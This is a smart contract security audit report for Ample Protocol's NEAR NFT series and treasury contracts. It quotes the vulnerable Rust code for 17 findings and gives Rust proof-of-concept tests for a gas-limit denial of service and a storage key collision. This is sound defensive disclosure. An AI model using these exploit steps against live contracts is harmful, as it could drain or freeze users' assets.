Guvenkaya® The Bedrock of Security

Ample Protocol

NEAR Rust Smart Contract Security Assessment

Lead Security Engineer: Timur Guvenkaya
Date of Engagement: 27th February 2024 - 6th March 2024
Visit: www.guvenkaya.co

Contents

About Us

Guvenkaya is a security research firm specializing in Rust security, Web3 security of Rust-based protocols, and Web2 security. With our expertise, we provide both security auditing services and custom security solutions

About Ample

Ample Protocol is a premier IP + media protocol providing launchpad, distribution and streaming rails powered by film, show and music digital assets

Audit Results

Guvenkaya conducted a security assessment of the Ample series and treasury smart contracts from 27th February 2024 to 6th March 2024. During this engagement, a total of 17 findings were reported. 8 of the findings were critical, 2 high, 4 medium, and the remaining were informational severity. All major issues are fixed by the Ample team.

Project Scope

Lines of Code Reviewed: 2471

NFT Series Smart Contract

File name	Link
Approval	https://github.com/Ample-Stream/nft-series/tree/f610b4bf874b718de87c5c35d7ced0c0ff9dbe90/series/src/approval.rs
Enumeration	https://github.com/Ample-Stream/nft-series/tree/f610b4bf874b718de87c5c35d7ced0c0ff9dbe90/series/src/enumeration.rs
Events	https://github.com/Ample-Stream/nft-series/tree/f610b4bf874b718de87c5c35d7ced0c0ff9dbe90/series/src/events.rs
Internal	https://github.com/Ample-Stream/nft-series/tree/f610b4bf874b718de87c5c35d7ced0c0ff9dbe90/series/src/internal.rs
Lib	https://github.com/Ample-Stream/nft-series/tree/f610b4bf874b718de87c5c35d7ced0c0ff9dbe90/series/src/lib.rs
Metadata	https://github.com/Ample-Stream/nft-series/tree/f610b4bf874b718de87c5c35d7ced0c0ff9dbe90/series/src/metadata.rs

File name	Link
NFT Core	https://github.com/Ample-Stream/nft-series/tree/f610b4bf874b718de87c5c35d7ced0c0ff9dbe90/series/src/nft_core.rs
Owner	https://github.com/Ample-Stream/nft-series/tree/f610b4bf874b718de87c5c35d7ced0c0ff9dbe90/series/src/owner.rs
Royalty	https://github.com/Ample-Stream/nft-series/tree/f610b4bf874b718de87c5c35d7ced0c0ff9dbe90/series/src/royalty.rs
Series	https://github.com/Ample-Stream/nft-series/tree/f610b4bf874b718de87c5c35d7ced0c0ff9dbe90/series/src/series.rs
Treasury Ext	https://github.com/Ample-Stream/nft-series/tree/f610b4bf874b718de87c5c35d7ced0c0ff9dbe90/series/src/treasury_ext.rs

Treasury Smart Contract

File name	Link
Accounts	https://github.com/Ample-Stream/treasury/blob/a16b2504d63f44d738aada41f76dbbc857e79d33/src/accounts.rs
Analytics	https://github.com/Ample-Stream/treasury/blob/a16b2504d63f44d738aada41f76dbbc857e79d33/src/analytics.rs
Collections	https://github.com/Ample-Stream/treasury/blob/a16b2504d63f44d738aada41f76dbbc857e79d33/src/collections.rs
Content	https://github.com/Ample-Stream/treasury/blob/a16b2504d63f44d738aada41f76dbbc857e79d33/src/content.rs

File name	Link
Lib	https://github.com/Ample-Stream/treasury/blob/a16b2504d63f44d738aada41f76dbbc857e79d33/src/lib.rs
Royalties	https://github.com/Ample-Stream/treasury/blob/a16b2504d63f44d738aada41f76dbbc857e79d33/src/royalties.rs
Types	https://github.com/Ample-Stream/treasury/blob/a16b2504d63f44d738aada41f76dbbc857e79d33/src/types.rs
Utils	https://github.com/Ample-Stream/treasury/blob/a16b2504d63f44d738aada41f76dbbc857e79d33/src/utils.rs

Out of Scope

The audit will include, but is not limited to, reviewing the code for security vulnerabilities, coding practices, and architecture. The audit does not include a review of the dependencies.

Timeline

Start of the audit	Draft report	Final report
27th February 2024	6th March 2024	1st June 2024

Methodology

RESEARCH INTO PROJECT ARCHITECTURE

PREPARING ATTACK VECTORS

SETTING UP AN ENVIRONMENT

MANUAL CODE REVIEW OF THE CODE

ASSESSMENT OF RUST SECURITY ISSUES

ASSESSMENT OF NEAR SECURITY ISSUES

ASSESSMENT OF ARITHMETIC ISSUES

BUSINESS LOGIC VULNERABILITY ASSESSMENT

ONCHAIN TESTING USING NEAR WORKSPACES

BEST PRACTICES AND CODE QUALITY

CHECKING FOR CODE REFACTORING/SIMPLIFICATION POSSIBILITIES

ARCHITECTURE IMPROVEMENT SUGGESTIONS

PREPARING POCS AND/OR TESTS FOR EACH CRITICAL/HIGH/MEDIUM ISSUES

Severity Breakdown

01. Likelihood Ratings

Likely: The vulnerability is easily discoverable and not overly complex to exploit.
Possible: The vulnerability presents some challenges either in discovery or in the complexity of the attack.
Rare: The vulnerability is either very difcult to discover or complex to exploit, or both.
This matrix provides a nuanced view, taking into account both the ease of discovering a vulnerability and the complexity involved in exploiting it.

02. Impact

Severe: The vulnerability is easily discoverable and not overly complex to exploit.
Moderate: The vulnerability presents some challenges either in discovery or in the complexity of the attack.
Negligible: The vulnerability is either very difcult to discover or complex to exploit, or both.

03. Severity Ratings

Critical: Assigned to vulnerabilities with severe impact and a likely likelihood of exploitation.
High: For vulnerabilities with either severe impact but only a possible likelihood, or moderate impact with a likely likelihood.
Medium: Used for vulnerabilities with severe impact but a rare likelihood, moderate impact with a possible likelihood, or negligible impact with a likely likelihood.
Low: For vulnerabilities with moderate impact and rare likelihood, or negligible impact with a possible likelihood.
Informational: The lowest severity rating, typically for vulnerabilities with negligible impact and a rare likelihood of exploitation.

CRITICAL **HIGH** **MEDIUM** Low Informational

Likelihood Matrix:

Attack Complexity \ Discovery Ease	Obvious	Concealed	Hidden
Complex	Possible	Rare	Rare
Moderate	Likely	Possible	Rare
Straightforward	Likely	Possible	Possible

Likelihood/Impact Matrix:

Likelihood \ Impact	Severe	Moderate	Negligible
Likely	**CRITICAL**	**HIGH**	**MEDIUM**
Possible	**HIGH**	**MEDIUM**	Low
Rare	**MEDIUM**	Low	Informational

Findings Summary

01. Remediation Complexity: This measures how difcult it is to fx the vulnerability once it has been identifed.

Simple: Patches or fixes are readily available and easily implemented.

Moderate: Requires some time and resources to remediate, but well within the capabilities of most organizations.

Difficult: Remediation requires significant resources, specialized skills, or substantial changes to systems or architecture.

02. Status: This measures how difcult it is to fx the vulnerability once it has been identifed.

Not Fixed: Indicates that the vulnerability has been identifed but no remedial action has been taken yet. This status is crucial for newly discovered vulnerabilities or those awaiting prioritization.

Fixed: This status is applied when the vulnerability has been successfully remediated. It implies that appropriate measures (like patching, confguration changes, or architectural modifcations) have been implemented to resolve the issue.

Acknowledged: This status is used for vulnerabilities that have been recognized, but for various reasons (such as risk acceptance, cost, or other business decisions), have not been fxed. It indicates that the risk posed by the vulnerability is known and has been consciously accepted.

Finding	Impact	Likelihood	Severity	Remediation Complexity	Remediation Status
GUV-1: Anyone Can Update The NFT Holder In Treasury	Severe	Likely	CRITICAL	Simple	Fixed
GUV-2: Anyone Can Add Analytics	Severe	Likely	CRITICAL	Simple	Fixed
GUV-3: Anyone Can Add Content	Severe	Likely	CRITICAL	Simple	Fixed
GUV-4: DoS of Adding Analytics Functionality Due To Gas Limit	Severe	Likely	CRITICAL	Simple	Fixed
GUV-5: DoS of Adding Analytics Functionality Due To Log Limit	Severe	Likely	CRITICAL	Simple	Fixed
GUV-6: Storage Key Collisions Due To Missing Separator	Severe	Likely	CRITICAL	Moderate	Fixed
GUV-7: Multiple Storage Key Collisions Due To Block Timestamp Usage	Severe	Likely	CRITICAL	Moderate	Fixed
GUV-8: Users Can Transfer Ownership In Treasury Without Sending NFT	Severe	Likely	CRITICAL	Simple	Fixed
GUV-9: Users Can Create Series With Arbitrary Content Ids	Moderate	Likely	HIGH	Simple	Fixed
GUV-10: Unpayable NFT Royalties Due To Underflow	Moderate	Likely	HIGH	Simple	Fixed
GUV-11: Incorrect Cuts Calculation Due To Division Before Multiplication	Negligible	Likely	MEDIUM	Simple	Fixed
GUV-12: Usage Of Floating Point Arithmetic In The Smart Contract	Moderate	Possible	MEDIUM	Moderate	Fixed
GUV-13: NFT Contract Is Not Built Using NEAR Contract Standards	Moderate	Possible	MEDIUM	Complex	Acknowledged

Finding	Impact	Likelihood	Severity	Remediation Complexity	Remediation Status
GUV-14: Owner of NFT Can Set Arbitrary Royalty Payout	Moderate	Possible	**MEDIUM**	Complex	Acknowledged
GUV-15: Privileged Functions Are Not Protected By 2FA	Moderate	Rare	Low	Simple	Fixed
GUV-16: Suboptimal Assertion Usage	Negligible	Rare	Informational	Simple	Fixed
GUV-17: Contract Size Can Be Decreased	Negligible	Rare	Informational	Simple	Fixed

Findings Details

GUV-1 Anyone Can Update The NFT Holder In Treasury - Critical

We noticed that in both Nft Series and Treasury contracts, **update_holder** function is public due to **#[near_bindgen]** macro on top of the impl block. It allows anyone to update the holder of NFT in the treasury contract to get access to content or claim royalty payments.

nft_series:treasury_update_holder:series/src/treasury_ext.rs

```
#[near_bindgen]
impl Contract {
    pub fn treasury_update_holder(
        &self,
        content_id: String,
        token_id: String,
        new_holder: AccountId,
    ) -> Promise {
      treasury_ext::ext("treasury.test.near".parse().unwrap())
        .update_holder(content_id, token_id, new_holder)
    }
}
```

treasury:update_holder:treasury/src/collections.rs

```
#[near_bindgen]
impl Contract {
pub fn update_holder(
    &mut self,
    content_id: ContentId,
    token_id: TokenId,
    new_holder: AccountId,
) {
    // 1. Retrieve the collection using collection_by_content_id
    let collection =
self.collection_by_content_id.get_mut(&content_id).unwrap();

    // 2. Modify collection.holders_by_token_id to match the new holder, if no holder
found,
    //    crete the record
    collection
      .holders_by_token_id
      .insert(&token_id, &new_holder);
}
}
```

PROPOSED SOLUTION

We propose removing the **#[near_bindgen]** macro from the impl block or restrict access using **#[private]** macro.

REMEDIATION - FIXED

The Ample Protocol team has fixed the issue.

GUV-2 Anyone Can Add Analytics - Critical

We noticed that in the Treasury contract, **add_analytics_data** function is public due to **#[near_bindgen]** macro on top of the impl block. It allows anyone to add analytics to inflate their rewards for certain content.

treasury:add_analytics_data:treasury/src/analytics.rs

```
#[near_bindgen]
 impl Contract {
    /**
     * This will be called periodically to upload ample usage metrics to the contract
     */
    pub fn add_analytics_data(&mut self, bulk_analytics: Vec<BulkAnalytics>,
timestamp: Timestamp) {
        // Iterate bulk data
        for BulkAnalytics {
            content_id,
            streams,
        } in bulk_analytics.iter()
    ...
```

PROPOSED SOLUTION

We propose removing the **#[near_bindgen]** macro from the impl block or restrict access using **#[private]** macro.

REMEDIATION - FIXED

The Ample Protocol team has fixed the issue.

GUV-3 Anyone Can Add Content - Critical

We noticed that in the Treasury contract, **add_content** function is public due to **#[near_bindgen]** macro on top of the impl block. It allows anyone to add add_content with any ownesrhip, or royalty settings.

treasury:add_content:treasury/src/content.rs

```
#[near_bindgen]
 impl Contract {
    /**
     * creates a new content and collection in the contract
     */
    pub fn add_content(&mut self, content: ReceivedContent, collection:
ReceivedCollection) {
        // convert team vector to UnorderedMap
        let mut team: Option<UnorderedMap<AccountId, u8>>;
        if content.team.is_some() {
            team = Some(UnorderedMap::new(
                env::block_timestamp().try_to_vec().unwrap(),
            ));
        ...
```

PROPOSED SOLUTION

We propose removing the **#[near_bindgen]** macro from the impl block or restrict access using **#[private]** macro.

REMEDIATION - FIXED

The Ample Protocol team has fixed the issue.

GUV-4 DoS of Adding Analytics Functionality Due To Gas Limit - Critical

We noticed that in the Treasury contract, **add_analytics_data** function iterates over holders by token id. Since you can have large number of holders, it can lead to a DoS attack by consuming all the gas. Malicious actor create a series with a price of 1 and then keep minting new tokens until the holders_by_token collections reaches the size which consumes all the gas once **add_analytics_data** is called.

treasury:add_analytics_data:treasury/src/analytics.rs

```
// populate holders_by_token_id clone
for (token_id, holder_account) in collection.holders_by_token_id.iter() {
  holders_by_token_id.insert(&token_id.clone(), &holder_account.clone());
}
```

POC

poc:dos_of_adding_analytics

```
#[tokio::test]
async fn dos_of_adding_analytics() -> color_eyre::Result<()> {
    let EnvData {
        series_contract,
        malicious_account,
        malicious_account2,
        treasury_contract,
        ..
    } = prepare().await?;

    let outcome = series_contract
        .call("add_approved_creator")
        .args_json(json!({"account_id": malicious_account.id()}))
        .transact()
        .await?;

    println!("Added creator: {} | {:#?}", malicious_account.id(), outcome);

    let metadata = TokenMetadata {
        title: None,
        copies: Some(500),
        reference: None,
        reference_hash: None,
        description: None,
        media: None,
        media_hash: None,
        issued_at: None,
        extra: None,
        updated_at: None,
    };
```

poc:dos_of_adding_analytics

```
        let mut royalty = HashMap::new();
            for i in 0..2 {
               royalty.insert(format!("{i}someaccount.near"), 100_u32);
            }
            let outcome = malicious_account
               .call(series_contract.id(), "create_series")
               .args_json(json!({"id": 2, "metadata": metadata, "content_id": "content", "owner":
malicious_account.id(), "royalty": Some(royalty), "price":
"1"})).max_gas().deposit(NearToken::from_near(1).into())
               .transact().await?.into_result()?;

            println!("added new series: {outcome:#?}");

            let received_content = ReceivedContent {
               content_id: "content".to_string(),
               content_type: "video".to_string(),
               owner_id: malicious_account.id().clone(),
               royalty: Royalty {
                  owner: 10,
                  team: Some(2),
                  holders: Some(1),},
               team: Some(vec![TeamMember {
                  id: malicious_account2.id().clone(),
                  percentage: 1,}]),
            };
            let received_collection = ReceivedCollection {
               collection_id: 2,
               total_supply: 200,
            };
```

poc:dos_of_adding_analytics

```
                let outcome = malicious_account2
                    .call(treasury_contract.id(), "add_content").args_json(
                        json!({"content": received_content, "collection": received_collection}),
                    ).transact().await?.into_result()?;
                println!("added_content: {outcome:#?}");
                let mut i = 0;
                while i < 100 {
                    malicious_account
                        .call(series_contract.id(), "nft_mint").args_json(
                            json!({"id": "2", "receiver_id": malicious_account2.id()}),

).deposit(NearToken::from_millinear(10).into()).transact().await?.into_result()?;
                    println!("ADDED: {i}");
                    i += 1;
                }

                let analytics = BulkAnalytics {
                    content_id: "content".to_string(),
                    streams: 10.0_f64,
                };

                let outcome = treasury_contract
                    .call("add_analytics_data").args_json(
                        json!({"bulk_analytics": vec![analytics], "timestamp":10000000_u64}),
                    ).transact().await?;

                for log in outcome.logs() {
                    println!("LOG: {log}");
                }
                println!("OUTCOME: {outcome:#?}");
                Ok(())}
```

PROPOSED SOLUTION

Make sure there is a limit on how many holders can be per series.

REMEDIATION - FIXED

The Ample Protocol team has fixed the issue.

GUV-5 DoS of Adding Analytics Functionality Due To Log Limit - Critical

We noticed that in the Treasury contract, **add_analytics_data** function iterates over holders by token id. For every iteration log is emitted. Since you can have large number of holders, it can lead to a DoS attack by hitting 100 log limit. Malicious actor create a series with a price of 1 and then keep minting new tokens until the holders_by_token collections reaches the size which will lead to the log limit once **add_analytics_data** is called.

treasury:add_analytics_data:treasury/src/analytics.rs

```
// holders
for (_, holder_account) in holders_by_token_id.iter() {
  log!(
    "Adding {} streams to {}",
    &streams_per_holder,
    &holder_account
  );
   self.add_streams_to(&holder_account, content_id, streams_per_holder);
}
```

PROPOSED SOLUTION

Make sure there is a limit on how many holders can be per series.

REMEDIATION - FIXED

The Ample Protocol team has fixed the issue.

GUV-6 Storage Key Collisions Due To Missing Separator - Critical

We noticed that in the Series contract, **create_series** function creates a storage key for tokens by appending given series id with account id of the caller. However, there is no separator between them. This combination can lead to the storage key collision:

- series_id = **2**
- account_id = **2clashing.test.near**
- storage_key = **sha256(22clashing.test.near)**
- series_id_2 = **22**
- account_id_2 = **clashing.test.near**
- storage_key_2 = **sha256(22clashing.test.near)**
- **storage_key_2** == **storage_key**

series:create_series:series/src/series.rs

```
// Insert the series and ensure it doesn't already exist
require!(
    self.series_by_id
        .insert(
            &id,
            &Series {
                metadata,
                royalty,
                tokens: UnorderedSet::new(
                    StorageKey::SeriesByIdInner {
                        // We get a new unique prefix for the collection
                    account_id_hash: hash_account_id(&format!(
                        "{}{}",
                        id, caller
                    )),
                    }
                ),
                ...
```

poc:series_hash_collission

```
async fn series_hash_collission() -> color_eyre::Result<()> {
    let EnvData {
        series_contract,
        malicious_account,
        worker,
        ..
    } = prepare().await?;

    let sk = SecretKey::from_random(KeyType::ED25519);

    let acc1 = worker
        .create_tla("2clashing.test.near".parse::<AccountId>()?, sk)
        .await?
        .unwrap();

    let sk = SecretKey::from_random(KeyType::ED25519);

    let acc2 = worker
        .create_tla("clashing.test.near".parse::<AccountId>()?, sk)
        .await?
        .unwrap();
```

poc:series_hash_collission

```
let outcome = series_contract
    .call("add_approved_minter")
    .args_json(json!({"account_id": acc1.id()})).transact().await?;
println!("Added minter: {} | {:#?}", acc1.id(), outcome);

let outcome = series_contract
    .call("add_approved_minter")
    .args_json(json!({"account_id": acc2.id()})).transact().await?;
println!("Added minter: {} | {:#?}", acc2.id(), outcome);

let outcome = series_contract
    .call("add_approved_creator")
    .args_json(json!({"account_id": acc1.id()})).transact().await?;
println!("Added creator: {} | {:#?}", acc1.id(), outcome);

let outcome = series_contract
    .call("add_approved_creator")
    .args_json(json!({"account_id": acc2.id()})).transact().await?;
println!("Added creator: {} | {:#?}", acc2.id(), outcome);

let metadata = TokenMetadata {
    title: None,
    copies: None,
    reference: None,
    reference_hash: None,
    description: None,
    media: None,
    media_hash: None,
    issued_at: None,
    extra: None,
    updated_at: None,
};
```

poc:series_hash_collission

```
        let outcome = acc1
            .call(series_contract.id(), "create_series")
            .args_json(json!({"id": 2, "metadata": metadata, "content_id": "content", "owner":
acc1.id()})).deposit(NearToken::from_near(1).into())
            .transact().await?;
        println!("added new series: {outcome:#?}");

        let outcome = acc2
            .call(series_contract.id(), "create_series")
            .args_json(json!({"id": 22, "metadata": metadata, "content_id": "content", "owner":
acc2.id()})).deposit(NearToken::from_near(1).into())
            .transact().await?;
        println!("added new series: {outcome:#?}");

        let outcome = acc1
            .view(series_contract.id(), "nft_tokens_for_series")
            .args_json(json!({"id":2})).await?.json::<Vec<JsonToken>>()?;
        println!("Tokens 2: {outcome:#?}");

        let outcome = acc1
            .view(series_contract.id(), "nft_tokens_for_series")
            .args_json(json!({"id":22})).await?.json::<Vec<JsonToken>>()?;
        println!("Tokens 22: {outcome:#?}");

        let outcome = acc1
            .call(series_contract.id(), "nft_mint")
            .args_json(json!({"id": "2", "receiver_id": malicious_account.id()}))
            .deposit(NearToken::from_near(1).into()).transact().await?;
        println!("Minted nft: {outcome:#?}");
```

poc:series_hash_collission

```
let outcome = acc2
   .call(series_contract.id(), "nft_mint")
   .args_json(json!({"id": "22", "receiver_id": malicious_account.id()}))
   .deposit(NearToken::from_near(1).into()).transact().await?;
println!("Minted nft: {outcome:#?}");

let outcome = acc1
   .view(series_contract.id(), "nft_tokens_for_series")
   .args_json(json!({"id":2})).await?.json::<Vec<JsonToken>>()?;
println!("Tokens 2: {outcome:#?}");

let outcome = acc1
   .view(series_contract.id(), "nft_tokens_for_series")
   .args_json(json!({"id":22})).await?.json::<Vec<JsonToken>>()?;
println!("Tokens 22: {outcome:#?}");
Ok(())}
```

PROPOSED SOLUTION

Consider adding a separator such as ":" to not have a storage collission

REMEDIATION - FIXED

The Ample Protocol team has fixed the issue.

GUV-7 Multiple Storage Key Collisions Due To Block Timestamp Usage - Critical

We noticed that accross the system **env::block_timestamp** is used to create a unique key for storage. Since the block timestamp is the same during the execution, it can lead to storage collission if it is used to set the storage key of multiple data structures or if the batch transaction is performed

treasury:add_analytics_data:treasury/src/analytics.rs

```
        else {
          let mut new_analytics =
Vector::new(env::block_timestamp().try_to_vec().unwrap());
            new_analytics.push(&new_analytic);

            self.analytics_by_content_id
              .entry(content_id.clone())
              .or_insert(new_analytics);
        }
        ...
        let mut team_members: UnorderedMap<AccountId, u8> =
          UnorderedMap::new(env::block_timestamp().try_to_vec().unwrap());
        let mut holders_by_token_id: UnorderedMap<String, AccountId> =
            UnorderedMap::new(env::block_timestamp().try_to_vec().unwrap());
            ...
```

treasury:claim_royalties:treasury/src/royalties.rs

```
        match self.claims_by_account.get_mut(&caller_account) {
          Some(claims) => {
            claims.push(&Claim {
             timestamp: env::block_timestamp_ms(),
              claimed: royalties,
            });
          }
          None => {
           let mut new_claim =
Vector::new(env::block_timestamp().try_to_vec().unwrap());
            new_claim.push(&Claim {
              timestamp: env::block_timestamp_ms(),
              claimed: royalties,
            });

            self.claims_by_account
              .insert(caller_account.clone(), new_claim);
          }
        }
        ...
```

treasury:add_content:treasury/src/content.rs

```
        if content.team.is_some() {
            team = Some(UnorderedMap::new(
             env::block_timestamp().try_to_vec().unwrap(),
            ));
            ...
        let new_collection = Collection {
            collection_id: collection.collection_id,
            total_supply: collection.total_supply,
            holders_by_token_id:
UnorderedMap::new((env::block_timestamp().try_to_vec().unwrap())),
            };
            ...
            match self.contents_by_owner.get_mut(&content.owner_id.clone()) {
                Some(contents) => {
                    contents.push(&content.content_id.clone());
                }
                None => {
                 let mut new_contents =
Vector::new(env::block_timestamp().try_to_vec().unwrap());
                    new_contents.push(&content.content_id.clone());

                    self.contents_by_owner
                        .insert(content.owner_id.clone(), new_contents);
                }
            }
```

treasury:add_streams_to:treasury/src/accounts.rs

```
else {
   // if don't exists, create a new record
  self.streams_by_account.insert(
      account_id.clone(),
      UnorderedMap::new(env::block_timestamp().try_to_vec().unwrap()),
   );
   ...
```

PROPOSED SOLUTION

Consider creating unique keys for storage using unique identifiers.

REMEDIATION - FIXED

The Ample Protocol team has fixed the issue.

GUV-8 Users Can Transfer Ownership In Treasury Without Sending NFT - Critical

We noticed that in the ft_resolve transfer if the NFT transfer was either unsuccesful or the NFT token should be returned per nft_on_transfer, nft holder is not reverted back in the treasury contract. It leads to situations where the user can call nft_transfer_call, and inside of nft_on_transfer return true to specify that the NFT should be returned. This will cause the state revert inside of the nft_resolve_transfer, but on treasury the receiver still will be the owner of the NFT.

series:nft_transfer_payout:series/src/royalty.rs

```
        fn nft_resolve_transfer(...) -> bool {
            // Whether receiver wants to return token back to the sender, based on
nft_on_transfer call result.
            if let PromiseResult::Successful(value) = env::promise_result(0) {
                //As per the standard, the nft_on_transfer should return whether we should
return the token to it's owner or not
                if let Ok(return_token) = near_sdk::serde_json::from_slice::<bool>(&value) {
                    if !return_token {...}}}

            let mut token = if let Some(token) = self.tokens_by_id.get(&token_id) {
                if token.owner_id != receiver_id {...}
                token
            } else {...};

            self.internal_remove_token_from_owner(&receiver_id.clone(), &token_id);
            self.internal_add_token_to_owner(&owner_id, &token_id);
            token.owner_id = owner_id.clone();
            refund_approved_account_ids(receiver_id.clone(),
&token.approved_account_ids);
            token.approved_account_ids = approved_account_ids;
            self.tokens_by_id.insert(&token_id, &token);
            ...
```

PROPOSED SOLUTION

Consider reverting the ownership of the NFT in the treasury contract by calling the **treasury_update_holder** function inside of the nft_resolve_transfer. Alternatively, treasury_update should happen only after the

REMEDIATION - FIXED

The Ample Protocol team has fixed the issue.

GUV-9 Users Can Create Series With Arbitrary Content Ids - High

We noticed that users can create series with arbitrary content ids which can lead to situations where the nft transfer happened but it was not reflected in the treasury contract due to panic on cross contract call via **treasury_update_holder**. Panic happens because the **update_holder** function in the treasury tries to retrieve the collection from the collection_by_content_id but if the content_id does not exist, it panics on **unwrap()**.

treasury:update_holder:treasury/src/accounts.rs

```
pub fn update_holder(
    &mut self,
    content_id: ContentId,
    token_id: TokenId,
    new_holder: AccountId,
) {
    // 1. Retrieve the collection using collection_by_content_id
    let collection =
self.collection_by_content_id.get_mut(&content_id).unwrap();
```

PROPOSED SOLUTION

Make sure to only allow content_ids that exist in the treasury contract

REMEDIATION - FIXED

The Ample Protocol team has fixed the issue.

GUV-10 Unpayable NFT Royalties Due To Underflow - High

We noticed that if series contains a large number of royalties, during the **nft_transfer_payout** execution, the contract can panic due to underflow on **royalty_to_payout**. This leads to some of the tokens to be unpayable.

series:nft_payout:series/src/royalty.rs

```
// payout to previous owner who gets 100% - total perpetual royalties
payout_object.payout.insert(
   owner_id,
 royalty_to_payout(10000 - total_perpetual, balance_u128),
);
```

PROPOSED SOLUTION

Consider using **saturating_sub** if having 0 as the minimum value is acceptible. Otherwise make sure that total perpetual is smaller than 10000.

REMEDIATION - FIXED

The Ample Protocol team has fixed the issue.

GUV-11 Incorrect Cuts Calculation Due To Division Before Multiplication - Medium

We noticed that the **calculate_cuts** function in the treasury contract first divides the **percentage** and then multiplies it by the **streams**. This can lead to incorrect cuts calculation since the value floors during the division

treasury:calculate_cuts:series/src/utils.rs

```
pub(crate) fn calculate_cuts(percentage: f64, streams: f64) -> f64 {
  let result: f64 = (percentage as f64 / 100.0) * streams;
    result
}
```

PROPOSED SOLUTION

Consider first multiplying the **streams** by **percentage** and then dividing it by 100

REMEDIATION - FIXED

The Ample Protocol team has fixed the issue.

GUV-12 Usage Of Floating Point Arithmetic In The Smart Contract - Medium

We noticed that the accross the treasury the floating point arithmetic is used. Floating point arithmetic is not advised to be used in smart contracts due to the precision and rounding it can lead to.

treasury:add_analytics_data:treasury/src/analytics.rs

```
        // calculate the total cut for each account of holders based on the collection's
total_supply of nfts and holder's cut
        let holders_cut = calculate_cuts(royalty.holders.unwrap_or(0) as f64,
*streams);
        let holder_percentage = 100.0 / collection.total_supply as f32;
        let streams_per_holder = calculate_cuts(holder_percentage as f64,
holders_cut);
```

PROPOSED SOLUTION

Consider rewriting all the code with fixed point arithmetic.

REMEDIATION - FIXED

The Ample Protocol team has fixed the issue.

GUV-13 NFT Contract Is Not Built Using NEAR Contract Standards - Medium

We noticed that the nft contract is custom built and shares a lot of code with the commonly used and battle tested NEAR Contract Standards NFT Contract. To avoid any potential issues with implementation, it is advised to simply use the NEAR Contract Standards NFT Contract.

PROPOSED SOLUTION

Consider rewriting the core functionality of the nft contract using the NEAR Contract Standards NFT Contract. **NEAR Contract Standards**

REMEDIATION - Acknowledged

The Ample Protocol team has acknowledged the issue.

GUV-14 Owner of NFT Can Set Arbitrary Royalty Payout Object - Medium

We noticed that in the series contract, the owner of the series can set arbitrary royalty payout for the token by setting balance argument in the **nft_transfer_payout**. Even though the nft_transfer_payout does not modify external state, per discussions with Ample protocol team it is unclear yet how it will be used considering there is no onchain royalty distribution system which relies on the Payout object. If used offchain, there might be unexpected issues especially if offchain listener is involved since listener can pick up any Payout object even if it was manipulated via the balance argument.

series:nft_transfer_payout:series/src/royalty.rs

```
fn nft_transfer_payout(
    &mut self,
    receiver_id: AccountId,
    token_id: TokenId,
    approval_id: u64,
    memo: Option<String>,
  balance: U128,
    max_len_payout: u32,
) -> Payout {
...
if royalty_option.is_none() {
    let mut payout = HashMap::new();
  payout.insert(owner_id, balance);
    return Payout { payout };
}
```

PROPOSED SOLUTION

The purpose of nft_transfer_payout is to allow NFT marketplaces to distribute royalty rewards on each NFT sale in their callbacks by making a cross contract call to the nft to perform transfer and get the Payout obhect . However, in Ample protocol there is neither a martketplace contract nor any other onchain royalty distribution system. In the current scenario nft_transfer_payout is no different from nft_transfer. In addition, all royalty calculations/additions are happenning in the treasury contract without any connection with the NFT series contract. Unless there is planned an offchain royalty distribution system, which does not rely on function lister (since balance argument can be manipulated), it is advised to remove the nft_transfer_payout function.

REMEDIATION - ACKNOWLEDGED

The Ample Protocol team has acknowledged the issue.

GUV-15 Privileged Functions Are Not Protected By 2FA - Low

We noticed that none of the privileged/important functions are protected by two-factor authentication (2FA) such as **claim_royalties**. In the NEAR scenario, 2FA prompts a user to sign a transaction if a deposit is attached to it. There are two types of access keys: Full and Function. Function access keys are primarily used by front-ends to perform actions on behalf of the user without constantly prompting them to sign a transaction. However, if the front-end is compromised, a malicious actor might exploit the function access key to attack the protocol. If the function access key is added to an admin or owner account, the malicious actor could potentially perform actions within the protocol on their behalf.

PROPOSED SOLUTION

Consider adding assert_one_yocto to all privileged functions. This prevents the use of function access keys to call those functions.

REMEDIATION - FIXED

The Ample Protocol team has fixed the issue.

GUV-16 Suboptimal Assertion Usage - Informational

We noticed that across system **assert!** is used to check for the conditions. Assert is suboptimal to use since it prints a lot of unnecessary bloat such as the file location and the code line upon panic.

series:nft_transfer_payout:series/src/royalty.rs

```
 //make sure we're not paying out to too many people (GAS limits this)
assert!(
  royalty.len() as u32 <= max_len_payout,
  "Market can&not payout to that many receivers"
);
```

PROPOSED SOLUTION

Consider using require instead of assert.

REMEDIATION - ACKNWOLEDGED

The Ample Protocol team has acknowledged the issue.

GUV-17 Contract Size Can Be Decreased - Informational

We noticed that the crate type is set as both cdylib and rlib. However, since NEAR smart contracts are compiled to WASM, rlib is unnecessary. Eliminating rlib can significantly reduce the size of the generated WASM binary.

cargo.toml

```
[lib]
crate-type = ["cdylib", "rlib"]
```

PROPOSED SOLUTION

Consider removing rlib to decrease the contract size.

REMEDIATION - FIXED

The Ample Protocol team has fixed the issue.